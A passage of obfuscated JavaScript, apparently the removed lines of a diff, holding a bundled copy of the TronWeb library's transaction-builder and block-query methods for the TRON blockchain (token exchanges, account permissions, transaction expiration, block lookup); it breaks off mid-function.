- name: "owner",
- type: "address",
- value: _0x3c74f2
- }, {
- name: "first token name",
- type: "not-empty-string",
- value: _0x13f79a
- }, {
- name: "second token name",
- type: "not-empty-string",
- value: _0x476367
- }, {
- name: "first token balance",
- type: "positive-integer",
- value: _0xcec987
- }, {
- name: "second token balance",
- type: "positive-integer",
- value: _0x5e70fd
- }], _0xee3b5b)) {
- var _0x57190b = {
- owner_address: _0x21f364(_0x3c74f2),
- first_token_id: _0x5c310a(_0x13f79a),
- first_token_balance: _0xcec987,
- second_token_id: _0x5c310a(_0x476367),
- second_token_balance: _0x5e70fd
- };
- var _0x58a595 = _0x3148dc(_0x3f0dbd);
- _0x4fe786(this.tronWeb, "ExchangeCreateContract", _0x57190b, null === (_0x5b2ccd = _0x3f0dbd) || undefined === _0x5b2ccd ? undefined : _0x5b2ccd.permissionId, _0x58a595).then(function (_0x399269) {
- return _0xee3b5b(null, _0x399269);
- }).catch(function (_0x429c59) {
- return _0xee3b5b(_0x429c59);
- });
- }
- }
- }, {
- key: "injectExchangeTokens",
- value: function () {
- var _0x953cc9;
- var _0x5cbe63 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x34be4a = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0xa33d28 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : 0;
- var _0x289d09 = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : this.tronWeb.defaultAddress.hex;
- var _0x5da5c3 = arguments.length > 4 ? arguments[4] : undefined;
- var _0xda3758 = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- if (_0x1db97c.isFunction(_0x5da5c3) && (_0xda3758 = _0x5da5c3, _0x5da5c3 = {}), _0x1db97c.isFunction(_0x289d09) ? (_0xda3758 = _0x289d09, _0x289d09 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x289d09) && (_0x5da5c3 = _0x289d09, _0x289d09 = this.tronWeb.defaultAddress.hex), !_0xda3758) {
- return this.injectPromise(this.injectExchangeTokens, _0x5cbe63, _0x34be4a, _0xa33d28, _0x289d09, _0x5da5c3);
- }
- if (!this.validator.notValid([{
- name: "owner",
- type: "address",
- value: _0x289d09
- }, {
- name: "token name",
- type: "not-empty-string",
- value: _0x34be4a
- }, {
- name: "token amount",
- type: "integer",
- value: _0xa33d28,
- gte: 1
- }, {
- name: "exchangeID",
- type: "integer",
- value: _0x5cbe63,
- gte: 0
- }], _0xda3758)) {
- var _0xceb0b6 = {
- owner_address: _0x21f364(_0x289d09),
- exchange_id: parseInt(_0x5cbe63),
- token_id: _0x5c310a(_0x34be4a),
- quant: parseInt(_0xa33d28)
- };
- var _0x123840 = _0x3148dc(_0x5da5c3);
- _0x4fe786(this.tronWeb, "ExchangeInjectContract", _0xceb0b6, null === (_0x953cc9 = _0x5da5c3) || undefined === _0x953cc9 ? undefined : _0x953cc9.permissionId, _0x123840).then(function (_0x1eecba) {
- return _0xda3758(null, _0x1eecba);
- }).catch(function (_0x218258) {
- return _0xda3758(_0x218258);
- });
- }
- }
- }, {
- key: "withdrawExchangeTokens",
- value: function () {
- var _0x177230;
- var _0x4aa441 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x2d79e8 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x209cb2 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : 0;
- var _0x65133 = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : this.tronWeb.defaultAddress.hex;
- var _0x396cfc = arguments.length > 4 ? arguments[4] : undefined;
- var _0x5e84bf = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- if (_0x1db97c.isFunction(_0x396cfc) && (_0x5e84bf = _0x396cfc, _0x396cfc = {}), _0x1db97c.isFunction(_0x65133) ? (_0x5e84bf = _0x65133, _0x65133 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x65133) && (_0x396cfc = _0x65133, _0x65133 = this.tronWeb.defaultAddress.hex), !_0x5e84bf) {
- return this.injectPromise(this.withdrawExchangeTokens, _0x4aa441, _0x2d79e8, _0x209cb2, _0x65133, _0x396cfc);
- }
- if (!this.validator.notValid([{
- name: "owner",
- type: "address",
- value: _0x65133
- }, {
- name: "token name",
- type: "not-empty-string",
- value: _0x2d79e8
- }, {
- name: "token amount",
- type: "integer",
- value: _0x209cb2,
- gte: 1
- }, {
- name: "exchangeID",
- type: "integer",
- value: _0x4aa441,
- gte: 0
- }], _0x5e84bf)) {
- var _0x8bf28f = {
- owner_address: _0x21f364(_0x65133),
- exchange_id: parseInt(_0x4aa441),
- token_id: _0x5c310a(_0x2d79e8),
- quant: parseInt(_0x209cb2)
- };
- var _0x24f023 = _0x3148dc(_0x396cfc);
- _0x4fe786(this.tronWeb, "ExchangeWithdrawContract", _0x8bf28f, null === (_0x177230 = _0x396cfc) || undefined === _0x177230 ? undefined : _0x177230.permissionId, _0x24f023).then(function (_0x28f951) {
- return _0x5e84bf(null, _0x28f951);
- }).catch(function (_0x2a7fdf) {
- return _0x5e84bf(_0x2a7fdf);
- });
- }
- }
- }, {
- key: "tradeExchangeTokens",
- value: function () {
- var _0x253d7e;
- var _0x579902 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x2fe75b = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x159a67 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : 0;
- var _0x4f0ed0 = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : 0;
- var _0x4d4682 = arguments.length > 4 && undefined !== arguments[4] ? arguments[4] : this.tronWeb.defaultAddress.hex;
- var _0x25f421 = arguments.length > 5 ? arguments[5] : undefined;
- var _0x12a2d5 = arguments.length > 6 && undefined !== arguments[6] && arguments[6];
- if (_0x1db97c.isFunction(_0x25f421) && (_0x12a2d5 = _0x25f421, _0x25f421 = {}), _0x1db97c.isFunction(_0x4d4682) ? (_0x12a2d5 = _0x4d4682, _0x4d4682 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x4d4682) && (_0x25f421 = _0x4d4682, _0x4d4682 = this.tronWeb.defaultAddress.hex), !_0x12a2d5) {
- return this.injectPromise(this.tradeExchangeTokens, _0x579902, _0x2fe75b, _0x159a67, _0x4f0ed0, _0x4d4682, _0x25f421);
- }
- if (!this.validator.notValid([{
- name: "owner",
- type: "address",
- value: _0x4d4682
- }, {
- name: "token name",
- type: "not-empty-string",
- value: _0x2fe75b
- }, {
- name: "tokenAmountSold",
- type: "integer",
- value: _0x159a67,
- gte: 1
- }, {
- name: "tokenAmountExpected",
- type: "integer",
- value: _0x4f0ed0,
- gte: 1
- }, {
- name: "exchangeID",
- type: "integer",
- value: _0x579902,
- gte: 0
- }], _0x12a2d5)) {
- var _0x1cffb5 = {
- owner_address: _0x21f364(_0x4d4682),
- exchange_id: parseInt(_0x579902),
- token_id: this.tronWeb.fromAscii(_0x2fe75b).replace(/^0x/, ""),
- quant: parseInt(_0x159a67),
- expected: parseInt(_0x4f0ed0)
- };
- var _0x2740ab = _0x3148dc(_0x25f421);
- _0x4fe786(this.tronWeb, "ExchangeTransactionContract", _0x1cffb5, null === (_0x253d7e = _0x25f421) || undefined === _0x253d7e ? undefined : _0x253d7e.permissionId, _0x2740ab).then(function (_0x4be16b) {
- return _0x12a2d5(null, _0x4be16b);
- }).catch(function (_0x1f316a) {
- return _0x12a2d5(_0x1f316a);
- });
- }
- }
- }, {
- key: "updateSetting",
- value: function () {
- var _0xebeb1f;
- var _0x57c1ff = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x4f14c8 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x292501 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : this.tronWeb.defaultAddress.hex;
- var _0x291239 = arguments.length > 3 ? arguments[3] : undefined;
- var _0x544a82 = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- if (_0x1db97c.isFunction(_0x291239) && (_0x544a82 = _0x291239, _0x291239 = {}), _0x1db97c.isFunction(_0x292501) ? (_0x544a82 = _0x292501, _0x292501 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x292501) && (_0x291239 = _0x292501, _0x292501 = this.tronWeb.defaultAddress.hex), !_0x544a82) {
- return this.injectPromise(this.updateSetting, _0x57c1ff, _0x4f14c8, _0x292501, _0x291239);
- }
- if (!this.validator.notValid([{
- name: "owner",
- type: "address",
- value: _0x292501
- }, {
- name: "contract",
- type: "address",
- value: _0x57c1ff
- }, {
- name: "userFeePercentage",
- type: "integer",
- value: _0x4f14c8,
- gte: 0,
- lte: 100
- }], _0x544a82)) {
- var _0xf725d6 = {
- owner_address: _0x21f364(_0x292501),
- contract_address: _0x21f364(_0x57c1ff),
- consume_user_resource_percent: _0x4f14c8
- };
- var _0x19654f = _0x3148dc(_0x291239);
- _0x4fe786(this.tronWeb, "UpdateSettingContract", _0xf725d6, null === (_0xebeb1f = _0x291239) || undefined === _0xebeb1f ? undefined : _0xebeb1f.permissionId, _0x19654f).then(function (_0x470059) {
- return _0x544a82(null, _0x470059);
- }).catch(function (_0x566af4) {
- return _0x544a82(_0x566af4);
- });
- }
- }
- }, {
- key: "updateEnergyLimit",
- value: function () {
- var _0x3821c4;
- var _0x4ce65f = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x561286 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x4805e7 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : this.tronWeb.defaultAddress.hex;
- var _0x5468d0 = arguments.length > 3 ? arguments[3] : undefined;
- var _0x4fe80a = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- if (_0x1db97c.isFunction(_0x5468d0) && (_0x4fe80a = _0x5468d0, _0x5468d0 = {}), _0x1db97c.isFunction(_0x4805e7) ? (_0x4fe80a = _0x4805e7, _0x4805e7 = this.tronWeb.defaultAddress.hex) : _0x1db97c.isObject(_0x4805e7) && (_0x5468d0 = _0x4805e7, _0x4805e7 = this.tronWeb.defaultAddress.hex), !_0x4fe80a) {
- return this.injectPromise(this.updateEnergyLimit, _0x4ce65f, _0x561286, _0x4805e7, _0x5468d0);
- }
- if (!this.validator.notValid([{
- name: "owner",
- type: "address",
- value: _0x4805e7
- }, {
- name: "contract",
- type: "address",
- value: _0x4ce65f
- }, {
- name: "originEnergyLimit",
- type: "integer",
- value: _0x561286,
- gte: 0,
- lte: 10000000
- }], _0x4fe80a)) {
- var _0x119283 = {
- owner_address: _0x21f364(_0x4805e7),
- contract_address: _0x21f364(_0x4ce65f),
- origin_energy_limit: _0x561286
- };
- var _0x599697 = _0x3148dc(_0x5468d0);
- _0x4fe786(this.tronWeb, "UpdateEnergyLimitContract", _0x119283, null === (_0x3821c4 = _0x5468d0) || undefined === _0x3821c4 ? undefined : _0x3821c4.permissionId, _0x599697).then(function (_0x4bf900) {
- return _0x4fe80a(null, _0x4bf900);
- }).catch(function (_0x246458) {
- return _0x4fe80a(_0x246458);
- });
- }
- }
- }, {
- key: "checkPermissions",
- value: function (_0x3c4920, _0x593b67) {
- if (_0x3c4920) {
- if (_0x3c4920.type !== _0x593b67 || !_0x3c4920.permission_name || !_0x1db97c.isString(_0x3c4920.permission_name) || !_0x1db97c.isInteger(_0x3c4920.threshold) || _0x3c4920.threshold < 1 || !_0x3c4920.keys) {
- return false;
- }
- var _0x16a8d6;
- var _0x3d6a55 = _0x11f780(_0x3c4920.keys);
- try {
- for (_0x3d6a55.s(); !(_0x16a8d6 = _0x3d6a55.n()).done;) {
- var _0x316fd8 = _0x16a8d6.value;
- if (!this.tronWeb.isAddress(_0x316fd8.address) || !_0x1db97c.isInteger(_0x316fd8.weight) || _0x316fd8.weight > _0x3c4920.threshold || _0x316fd8.weight < 1 || 2 === _0x593b67 && !_0x3c4920.operations) {
- return false;
- }
- }
- } catch (_0x3d637d) {
- _0x3d6a55.e(_0x3d637d);
- } finally {
- _0x3d6a55.f();
- }
- }
- return true;
- }
- }, {
- key: "updateAccountPermissions",
- value: function () {
- var _0x2e2972;
- var _0x407e66 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x2486df = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x5256ac = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- var _0x3cee11 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- var _0x58955d = arguments.length > 4 ? arguments[4] : undefined;
- var _0x1a7037 = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- if (_0x1db97c.isFunction(_0x58955d) && (_0x1a7037 = _0x58955d, _0x58955d = {}), _0x1db97c.isFunction(_0x3cee11) && (_0x1a7037 = _0x3cee11, _0x3cee11 = false), _0x1db97c.isFunction(_0x5256ac) && (_0x1a7037 = _0x5256ac, _0x5256ac = _0x3cee11 = false), _0x1db97c.isFunction(_0x2486df) && (_0x1a7037 = _0x2486df, _0x2486df = _0x5256ac = _0x3cee11 = false), !_0x1a7037) {
- return this.injectPromise(this.updateAccountPermissions, _0x407e66, _0x2486df, _0x5256ac, _0x3cee11, _0x58955d);
- }
- if (!this.tronWeb.isAddress(_0x407e66)) {
- return _0x1a7037("Invalid ownerAddress provided");
- }
- if (!this.checkPermissions(_0x2486df, 0)) {
- return _0x1a7037("Invalid ownerPermissions provided");
- }
- if (!this.checkPermissions(_0x5256ac, 1)) {
- return _0x1a7037("Invalid witnessPermissions provided");
- }
- Array.isArray(_0x3cee11) || (_0x3cee11 = [_0x3cee11]);
- var _0x4ff52d;
- var _0x4640c2 = _0x11f780(_0x3cee11);
- try {
- for (_0x4640c2.s(); !(_0x4ff52d = _0x4640c2.n()).done;) {
- var _0x16c610 = _0x4ff52d.value;
- if (!this.checkPermissions(_0x16c610, 2)) {
- return _0x1a7037("Invalid activesPermissions provided");
- }
- }
- } catch (_0xcfd12a) {
- _0x4640c2.e(_0xcfd12a);
- } finally {
- _0x4640c2.f();
- }
- var _0xfa0d24 = {
- owner_address: _0x21f364(_0x407e66)
- };
- if (_0x2486df) {
- var _0x234437 = _0x4c391d(_0x2486df);
- "type" in _0x234437 && delete _0x234437.type;
- _0xfa0d24.owner = _0x234437;
- }
- if (_0x5256ac) {
- var _0x5cb397 = _0x4c391d(_0x5256ac);
- _0x5cb397.type = "Witness";
- _0xfa0d24.witness = _0x5cb397;
- }
- if (_0x3cee11) {
- var _0x3e3934 = _0x4c391d(_0x3cee11);
- _0x3e3934.forEach(function (_0x477b49) {
- _0x477b49.type = "Active";
- });
- _0xfa0d24.actives = _0x3e3934;
- }
- var _0x2c7789 = _0x3148dc(_0x58955d);
- _0x4fe786(this.tronWeb, "AccountPermissionUpdateContract", _0xfa0d24, null === (_0x2e2972 = _0x58955d) || undefined === _0x2e2972 ? undefined : _0x2e2972.permissionId, _0x2c7789).then(function (_0x368a8e) {
- return _0x1a7037(null, _0x368a8e);
- }).catch(function (_0x5e7bd5) {
- return _0x1a7037(_0x5e7bd5);
- });
- }
- }, {
- key: "newTxID",
- value: (_0x99673f = _0x203d83(_0x307918().mark(function _0x13f1fb(_0x189e71, _0x258296, _0x3d392d) {
- var _0x471bf5;
- var _0x413ed6;
- return _0x307918().wrap(function (_0x31db17) {
- for (;;) {
- switch (_0x31db17.prev = _0x31db17.next) {
- case 0:
- if (_0x1db97c.isFunction(_0x258296) && (_0x3d392d = _0x258296, _0x258296 = {}), _0x3d392d) {
- _0x31db17.next = 3;
- break;
- }
- return _0x31db17.abrupt("return", this.injectPromise(this.newTxID, _0x189e71, _0x258296));
- case 3:
- if (null === (_0x471bf5 = _0x258296) || undefined === _0x471bf5 || !_0x471bf5.txLocal) {
- _0x31db17.next = 7;
- break;
- }
- _0x413ed6 = _0x189e71.raw_data.contract[0];
- _0x4fe786(this.tronWeb, _0x413ed6.type, _0x413ed6.parameter.value, _0x413ed6.Permission_id, {
- fee_limit: _0x189e71.raw_data.fee_limit,
- data: _0x189e71.raw_data.data,
- ref_block_bytes: _0x189e71.raw_data.ref_block_bytes,
- ref_block_hash: _0x189e71.raw_data.ref_block_hash,
- expiration: _0x189e71.raw_data.expiration,
- timestamp: _0x189e71.raw_data.timestamp
- }).then(function (_0x45e46d) {
- _0x45e46d.signature = _0x189e71.signature;
- _0x45e46d.visible = _0x189e71.visible;
- _0x3d392d(null, _0x45e46d);
- }).catch(function (_0x3d7155) {
- return _0x3d392d("Error generating a new transaction id.");
- });
- return _0x31db17.abrupt("return");
- case 7:
- this.tronWeb.fullNode.request("wallet/getsignweight", _0x189e71, "post").then(function (_0x2e3370) {
- "boolean" == typeof _0x189e71.visible && (_0x2e3370.transaction.transaction.visible = _0x189e71.visible);
- return _0x10cdf2(_0x2e3370.transaction.transaction, _0x53648b(_0x53648b({}, _0x189e71.raw_data.contract[0].parameter.value), {}, {
- Permission_id: _0x189e71.raw_data.contract[0].Permission_id
- }), {
- data: _0x189e71.raw_data.data,
- fee_limit: _0x189e71.raw_data.fee_limit
- }, _0x3d392d);
- }).catch(function (_0x15b38c) {
- return _0x3d392d("Error generating a new transaction id.");
- });
- case 8:
- case "end":
- return _0x31db17.stop();
- }
- }
- }, _0x13f1fb, this);
- })), function (_0x297703, _0x2701b1, _0x13ce23) {
- return _0x99673f.apply(this, arguments);
- })
- }, {
- key: "alterTransaction",
- value: (_0x55497c = _0x203d83(_0x307918().mark(function _0xd6dc82(_0x25286c) {
- var _0x2697c0;
- var _0xa44aef;
- var _0xb981a7 = arguments;
- return _0x307918().wrap(function (_0x4abe8e) {
- for (;;) {
- switch (_0x4abe8e.prev = _0x4abe8e.next) {
- case 0:
- if (_0x2697c0 = _0xb981a7.length > 1 && undefined !== _0xb981a7[1] ? _0xb981a7[1] : {}, _0xa44aef = _0xb981a7.length > 2 && undefined !== _0xb981a7[2] && _0xb981a7[2]) {
- _0x4abe8e.next = 4;
- break;
- }
- return _0x4abe8e.abrupt("return", this.injectPromise(this.alterTransaction, _0x25286c, _0x2697c0));
- case 4:
- if (!_0x25286c.signature) {
- _0x4abe8e.next = 6;
- break;
- }
- return _0x4abe8e.abrupt("return", _0xa44aef("You can not extend the expiration of a signed transaction."));
- case 6:
- if (!_0x2697c0.data) {
- _0x4abe8e.next = 12;
- break;
- }
- if ("hex" !== _0x2697c0.dataFormat && (_0x2697c0.data = this.tronWeb.toHex(_0x2697c0.data)), _0x2697c0.data = _0x2697c0.data.replace(/^0x/, ""), 0 !== _0x2697c0.data.length) {
- _0x4abe8e.next = 11;
- break;
- }
- return _0x4abe8e.abrupt("return", _0xa44aef("Invalid data provided"));
- case 11:
- _0x25286c.raw_data.data = _0x2697c0.data;
- case 12:
- if (!_0x2697c0.extension) {
- _0x4abe8e.next = 17;
- break;
- }
- if (_0x2697c0.extension = parseInt(1000 * _0x2697c0.extension), !(isNaN(_0x2697c0.extension) || _0x25286c.raw_data.expiration + _0x2697c0.extension <= Date.now() + 3000)) {
- _0x4abe8e.next = 16;
- break;
- }
- return _0x4abe8e.abrupt("return", _0xa44aef("Invalid extension provided"));
- case 16:
- _0x25286c.raw_data.expiration += _0x2697c0.extension;
- case 17:
- this.newTxID(_0x25286c, {
- txLocal: _0x2697c0.txLocal
- }, _0xa44aef);
- case 18:
- case "end":
- return _0x4abe8e.stop();
- }
- }
- }, _0xd6dc82, this);
- })), function (_0x58cbed) {
- return _0x55497c.apply(this, arguments);
- })
- }, {
- key: "extendExpiration",
- value: (_0x23ec1f = _0x203d83(_0x307918().mark(function _0x6bf81a(_0x496e76, _0x363528, _0x1ae37e) {
- var _0x1fac2b;
- var _0x439449;
- var _0x2c933c = arguments;
- return _0x307918().wrap(function (_0x1f9a1b) {
- for (;;) {
- switch (_0x1f9a1b.prev = _0x1f9a1b.next) {
- case 0:
- if (_0x439449 = _0x2c933c.length > 3 && undefined !== _0x2c933c[3] && _0x2c933c[3], _0x1db97c.isFunction(_0x1ae37e) && (_0x439449 = _0x1ae37e, _0x1ae37e = {}), _0x439449) {
- _0x1f9a1b.next = 4;
- break;
- }
- return _0x1f9a1b.abrupt("return", this.injectPromise(this.extendExpiration, _0x496e76, _0x363528, _0x1ae37e));
- case 4:
- this.alterTransaction(_0x496e76, {
- extension: _0x363528,
- txLocal: null === (_0x1fac2b = _0x1ae37e) || undefined === _0x1fac2b ? undefined : _0x1fac2b.txLocal
- }, _0x439449);
- case 5:
- case "end":
- return _0x1f9a1b.stop();
- }
- }
- }, _0x6bf81a, this);
- })), function (_0x33b5bd, _0x406170, _0x4ddc71) {
- return _0x23ec1f.apply(this, arguments);
- })
- }, {
- key: "addUpdateData",
- value: (_0x566241 = _0x203d83(_0x307918().mark(function _0x234eac(_0x3ed2c3, _0x1f02ec) {
- var _0x26e7dc;
- var _0xa98b7b;
- var _0x59c7e6;
- var _0x2cb9d9;
- var _0x108a0a = arguments;
- return _0x307918().wrap(function (_0x370b69) {
- for (;;) {
- switch (_0x370b69.prev = _0x370b69.next) {
- case 0:
- if (_0xa98b7b = _0x108a0a.length > 2 && undefined !== _0x108a0a[2] ? _0x108a0a[2] : "utf8", _0x59c7e6 = _0x108a0a.length > 3 ? _0x108a0a[3] : undefined, _0x2cb9d9 = _0x108a0a.length > 4 && undefined !== _0x108a0a[4] && _0x108a0a[4], _0x1db97c.isFunction(_0x59c7e6) && (_0x2cb9d9 = _0x59c7e6, _0x59c7e6 = {}), _0x1db97c.isFunction(_0xa98b7b) ? (_0x2cb9d9 = _0xa98b7b, _0xa98b7b = "utf8") : _0x1db97c.isObject(_0xa98b7b) && (_0x59c7e6 = _0xa98b7b, _0xa98b7b = "utf8"), _0x2cb9d9) {
- _0x370b69.next = 7;
- break;
- }
- return _0x370b69.abrupt("return", this.injectPromise(this.addUpdateData, _0x3ed2c3, _0x1f02ec, _0xa98b7b, _0x59c7e6));
- case 7:
- this.alterTransaction(_0x3ed2c3, {
- data: _0x1f02ec,
- dataFormat: _0xa98b7b,
- txLocal: null === (_0x26e7dc = _0x59c7e6) || undefined === _0x26e7dc ? undefined : _0x26e7dc.txLocal
- }, _0x2cb9d9);
- case 8:
- case "end":
- return _0x370b69.stop();
- }
- }
- }, _0x234eac, this);
- })), function (_0x3815c8, _0x1ee2af) {
- return _0x566241.apply(this, arguments);
- })
- }]);
- return _0x3c71f1;
- }();
- function _0x3f35dd(_0x37d17d, _0x508434) {
- var _0x4207e3 = Object.keys(_0x37d17d);
- if (Object.getOwnPropertySymbols) {
- var _0x4689c0 = Object.getOwnPropertySymbols(_0x37d17d);
- _0x508434 && (_0x4689c0 = _0x4689c0.filter(function (_0x447a8e) {
- return Object.getOwnPropertyDescriptor(_0x37d17d, _0x447a8e).enumerable;
- }));
- _0x4207e3.push.apply(_0x4207e3, _0x4689c0);
- }
- return _0x4207e3;
- }
- function _0x2fbea6(_0x140ac8) {
- for (var _0x33bdb3 = 1; _0x33bdb3 < arguments.length; _0x33bdb3++) {
- var _0xfd4e18 = null != arguments[_0x33bdb3] ? arguments[_0x33bdb3] : {};
- _0x33bdb3 % 2 ? _0x3f35dd(Object(_0xfd4e18), true).forEach(function (_0x26c58f) {
- _0x713ed3(_0x140ac8, _0x26c58f, _0xfd4e18[_0x26c58f]);
- }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(_0x140ac8, Object.getOwnPropertyDescriptors(_0xfd4e18)) : _0x3f35dd(Object(_0xfd4e18)).forEach(function (_0x5b2518) {
- Object.defineProperty(_0x140ac8, _0x5b2518, Object.getOwnPropertyDescriptor(_0xfd4e18, _0x5b2518));
- });
- }
- return _0x140ac8;
- }
- var _0x197f65 = "TRON Signed Message:\n32";
- var _0x41e463 = "Ethereum Signed Message:\n32";
- function _0x5ef2ea(_0x555f28) {
- return _0x2d34c8.address.toHex(_0x555f28);
- }
- var _0x36b8bc = function () {
- function _0x28677e() {
- var _0x329158 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (_0x1d998d(this, _0x28677e), !_0x329158 || !_0x329158 instanceof _0x2d34c8) {
- throw new Error("Expected instance of TronWeb");
- }
- this.tronWeb = _0x329158;
- this.injectPromise = _0x13268c()(this);
- this.cache = {
- contracts: {}
- };
- this.validator = new _0x4e6fd5(_0x329158);
- }
- var _0x4e8a08;
- var _0xc8ed4b;
- var _0x2b7b22;
- var _0x5f3e98;
- var _0x263c33;
- var _0x760e03;
- var _0xc68f10;
- var _0x13e0bd;
- var _0x20df12;
- var _0x49d012;
- var _0x367cd5;
- var _0x10bca5;
- var _0x2bbe75;
- var _0x28dab9;
- var _0x20c297;
- var _0x5989b1;
- var _0x267e60;
- var _0x24a558;
- var _0x33084c;
- _0x561e78(_0x28677e, [{
- key: "_parseToken",
- value: function (_0x14002b) {
- return _0x2fbea6(_0x2fbea6({}, _0x14002b), {}, {
- name: this.tronWeb.toUtf8(_0x14002b.name),
- abbr: _0x14002b.abbr && this.tronWeb.toUtf8(_0x14002b.abbr),
- description: _0x14002b.description && this.tronWeb.toUtf8(_0x14002b.description),
- url: _0x14002b.url && this.tronWeb.toUtf8(_0x14002b.url)
- });
- }
- }, {
- key: "getCurrentBlock",
- value: function () {
- var _0x2607c1 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0x2607c1) {
- return this.injectPromise(this.getCurrentBlock);
- }
- this.tronWeb.fullNode.request("wallet/getnowblock").then(function (_0x168cce) {
- _0x2607c1(null, _0x168cce);
- }).catch(function (_0x3ed294) {
- return _0x2607c1(_0x3ed294);
- });
- }
- }, {
- key: "getConfirmedCurrentBlock",
- value: function () {
- var _0x129ad1 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0x129ad1) {
- return this.injectPromise(this.getConfirmedCurrentBlock);
- }
- this.tronWeb.solidityNode.request("walletsolidity/getnowblock").then(function (_0x376af5) {
- _0x129ad1(null, _0x376af5);
- }).catch(function (_0x1e70b7) {
- return _0x129ad1(_0x1e70b7);
- });
- }
- }, {
- key: "getBlock",
- value: function () {
- var _0x96adbe = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultBlock;
- var _0x181bc4 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- _0x1db97c.isFunction(_0x96adbe) && (_0x181bc4 = _0x96adbe, _0x96adbe = this.tronWeb.defaultBlock);
- return _0x181bc4 ? false === _0x96adbe ? _0x181bc4("No block identifier provided") : ("earliest" == _0x96adbe && (_0x96adbe = 0), "latest" == _0x96adbe ? this.getCurrentBlock(_0x181bc4) : isNaN(_0x96adbe) && _0x1db97c.isHex(_0x96adbe) ? this.getBlockByHash(_0x96adbe, _0x181bc4) : void this.getBlockByNumber(_0x96adbe, _0x181bc4)) : this.injectPromise(this.getBlock, _0x96adbe);
- }
- }, {
- key: "getBlockByHash",
- value: function (_0xe21779) {
- var _0x3ad9ee = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if (!_0x3ad9ee) {
- return this.injectPromise(this.getBlockByHash, _0xe21779);
- }
- this.tronWeb.fullNode.request("wallet/getblockbyid", {
- value: _0xe21779
- }, "post").then(function (_0x13bac0) {
- if (!Object.keys(_0x13bac0).length) {
- return _0x3ad9ee("Block not found");
- }
- _0x3ad9ee(null, _0x13bac0);
- }).catch(function (_0x140095) {
- return _0x3ad9ee(_0x140095);
- });
- }
- }, {
- key: "getBlockByNumber",
- value: function (_0x5e9eee) {
- var _0x3c8feb = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return _0x3c8feb ? !_0x1db97c.isInteger(_0x5e9eee) || _0x5e9eee < 0 ? _0x3c8feb("Invalid block number provided") : void this.tronWeb.fullNode.request("wallet/getblockbynum", {
- num: parseInt(_0x5e9eee)
- }, "post").then(function (_0x319745) {
- if (!Object.keys(_0x319745).length) {
- return _0x3c8feb("Block not found");
- }
- _0x3c8feb(null, _0x319745);
- }).catch(function (_0x22d2bc) {
- return _0x3c8feb(_0x22d2bc);
- }) : this.injectPromise(this.getBlockByNumber, _0x5e9eee);
- }
- }, {
- key: "getBlockTransactionCount",
- value: function () {
- var _0x4d7228 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultBlock;
- var _0xd6076b = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if (_0x1db97c.isFunction(_0x4d7228) && (_0xd6076b = _0x4d7228, _0x4d7228 = this.tronWeb.defaultBlock), !_0xd6076b) {
- return this.injectPromise(this.getBlockTransactionCount, _0x4d7228);
- }
- this.getBlock(_0x4d7228).then(function (_0x2c96e3) {
- var _0x2b3b05 = _0x2c96e3.transactions;
- _0xd6076b(null, (undefined === _0x2b3b05 ? [] : _0x2b3b05).length);
- }).catch(function (_0x2afa7d) {
- return _0xd6076b(_0x2afa7d);
- });
- }
- }, {
- key: "getTransactionFromBlock",
- value: function () {
- var _0x25bb5e = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultBlock;
- var _0x3ab84f = arguments.length > 1 ? arguments[1] : undefined;
- var _0x381f6f = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1db97c.isFunction(_0x3ab84f) && (_0x381f6f = _0x3ab84f, _0x3ab84f = 0), _0x1db97c.isFunction(_0x25bb5e) && (_0x381f6f = _0x25bb5e, _0x25bb5e = this.tronWeb.defaultBlock), !_0x381f6f) {
- return this.injectPromise(this.getTransactionFromBlock, _0x25bb5e, _0x3ab84f);
- }
- this.getBlock(_0x25bb5e).then(function (_0x300bf1) {
- var _0x5abbde = _0x300bf1.transactions;
- var _0x37557b = undefined !== _0x5abbde && _0x5abbde;
